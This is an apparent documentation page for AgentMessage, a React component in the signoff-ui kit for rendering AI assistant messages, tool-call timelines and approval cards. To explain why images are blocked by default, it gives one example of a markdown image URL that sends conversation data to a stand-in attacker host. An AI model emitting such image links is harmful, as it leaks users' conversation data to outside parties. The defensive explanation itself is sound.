# AgentMessage

> A whole assistant message: reasoning, streaming markdown, tool calls, approvals and sources.

Source: https://signoff-ui.vercel.app/docs/components/agent-message

## Installation

From npm:

```bash
npm i signoff-ui ai
```

```tsx
import { AgentMessage } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```

Or as source, with the shadcn CLI:

```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/agent-message.json
```

```tsx
import { AgentMessage } from '@/components/signoff-ui/agent-message';
```

## Usage

```tsx
const { messages, status, addToolApprovalResponse } = useChat();
const last = messages.findLast((m) => m.role === 'assistant');

{last && (
  <AgentMessage
    message={last}
    streaming={status === 'streaming'}
    tools={{ run_command: { label: 'Run command', risk: 'high' } }}
    onToolApproval={addToolApprovalResponse}
  />
)}
```

## How it works

A whole assistant `UIMessage`, part by part: streaming-safe markdown, collapsible reasoning that summarizes how long the model thought, consecutive tool parts grouped into one timeline with inline approval cards, files, `data-*` parts through `renderData`, and sources. `renderTool` lets you take over any tool part, as [the quickstart](https://signoff-ui.vercel.app/docs/getting-started#render-a-run) does for `review_changes` with a `DiffReview`. What `renderTool` and `renderData` return is your content: with `styles.css`, the kit's rules don't reach into it, and components you render there are styled as usual.

Images in text and reasoning don't load unless they're allowed: a URL in model output can carry data out of the conversation as soon as the browser fetches it (`![](https://attacker.example/p.png?d=…)`), so by default an image renders as a link with its alt text, or as plain text inside the link it belongs to (a badge). `allowedImageHosts` takes:

- host names: `'images.example.com'` matches any port, `'localhost:3000'` only that port;
- `'self'`: relative URLs such as `/logo.png`, which load from your own origin. Protocol-relative URLs (`//host/x`) are not relative, and absolute URLs to your own site need their host listed. Relative requests carry your cookies, so allow `'self'` only if GET requests to your origin have no side effects;
- `'*'`: every image.

```tsx
const IMAGE_HOSTS = ['images.example.com', 'self'];

<AgentMessage message={last} allowedImageHosts={IMAGE_HOSTS} />;
```

The list is compared by value, so an inline array works as well: it does not re-render the finished text on every streamed delta. Image file parts follow the same list, except that `data:` and `blob:` URLs, which need no request, always preview.

## API reference

### AgentMessage

Renders an assistant `UIMessage` part by part: streaming markdown, collapsible
reasoning, consecutive tool calls grouped into a timeline (with inline approval
cards), files, and the message's sources with linked inline citations.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `message` (required) | `Pick<UIMessage, 'id' \| 'role' \| 'parts'>` |  |  |
| `streaming` | `boolean` | `false` | The message is still being generated. Text parts with an explicit `state` take precedence. |
| `active` | `boolean` | `true` | Whether the run can still make progress, including while it waits on the user. Pass `false` once it has ended (stopped, failed, or an older message): tool calls that never settled read "Stopped" instead of running forever, and text left streaming loses its caret. See `ToolCallTimeline`'s `active`. |
| `tools` | `Record<string, ToolMeta>` |  |  |
| `renderTool` | `(part: ToolPart) => ReactNode \| undefined` |  | Render a tool part yourself. Return `undefined` to use the default timeline, or `null` to render nothing. Custom-rendered parts split the timeline. What you return is your app's content: it sits in a `data-signoff-slot` element, and `styles.css` leaves it to your CSS (components you render in it are styled as usual). |
| `onToolApproval` | `(response: ToolApprovalResponse) => void \| PromiseLike<void>` |  | Enables inline approval cards. Pass `useChat().addToolApprovalResponse`. |
| `approvalProps` | `Partial<Omit<ApprovalCardProps, 'toolName' \| 'status' \| 'onApprove' \| 'onDeny'>>` |  | Props forwarded to every approval card, e.g. `{ autoFocus: true }`. |
| `approvalPolicy` | `ApprovalPolicy` |  | Approval rules from `useApprovalPolicy`: cards offer once, this session and always, a rule's decisions are made without asking, and two or more waiting approvals get "Approve all". |
| `onToolInputEdit` | `(toolCallId: string, input: unknown) => void` |  | Lets a person edit a call's arguments before approving it, and applies the edit. With AI SDK 7: `(id, input) => setMessages((m) => setToolInput(m, id, input))`; with `useAgUiAgent`, its `editInput`. |
| `renderData` | `(part: DataPart) => ReactNode` |  | Render `data-*` parts. They are skipped when omitted. Your content, like `renderTool`'s. |
| `showSources` | `boolean` | `true` |  |
| `sourcesVariant` | `'chips' \| 'cards'` | `'chips'` |  |
| `allowedImageHosts` | `readonly string[]` |  | Where images in text, reasoning and image file parts may load from: host names, `'self'` for relative URLs, or `'*'` for every image. Default: none, so other images render as links. File parts with `data:` and `blob:` URLs always preview. See `MarkdownProps.allowedImageHosts`. |
| `timings` | `ToolTimings` |  | Externally measured tool timings. Measured client-side when omitted. |
| `labels` | `SignoffLabelsInput` |  | Words to use instead of the English defaults, for the message and all it renders: see `SignoffLabelsProvider`. |

Other props go to the root `<article>`: `className`, `id`, `aria-*`, `data-*` and event handlers.

### ToolMeta

Per-tool presentation. Every field is optional.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `label` | `string` |  | Display label. Defaults to the humanized tool name. |
| `icon` | `ReactNode` |  |  |
| `summary` | `(input: unknown, part: ToolPart) => ReactNode` |  | One-line summary shown next to the label. Defaults to the most descriptive input field. Not called before any input has arrived; while the input streams it can be partial. |
| `renderOutput` | `(output: unknown, part: ToolPart) => ReactNode` |  | Replace the default JSON output view. Your content, like `AgentMessage`'s `renderTool`. |
| `risk` | `RiskLevel \| ((input: unknown) => RiskLevel)` |  | Risk shown on approval requests for this tool. |

### ToolApprovalResponse

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` |  |  |
| `approved` (required) | `boolean` |  |  |
| `reason` | `string` |  |  |

## Accessibility

| Keys | Action |
| --- | --- |
| ↑ ↓ | Move between tool calls in a timeline |
| Y N | Approve or deny, with focus in an approval card |

- The message is an `<article>` with `aria-busy` while it streams, so screen readers wait for the text to settle.
- Each part keeps its own behavior: the tool timeline, approval cards, reasoning and sources below all apply.
- Images in model output don't load unless `allowedImageHosts` allows them; a blocked image is a link with its alt text, read as "Image:".
- Citation markers such as `[2]` become links named "Source 2" to the matching source.

## Theming

Slots (`data-slot`): `signoff-agent-message`.

- `data-role` on `signoff-agent-message`: the message’s role: assistant, user or system

Tokens it uses: `--signoff-border`, `--signoff-fg`, `--signoff-fg-subtle`, `--signoff-font-sans`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
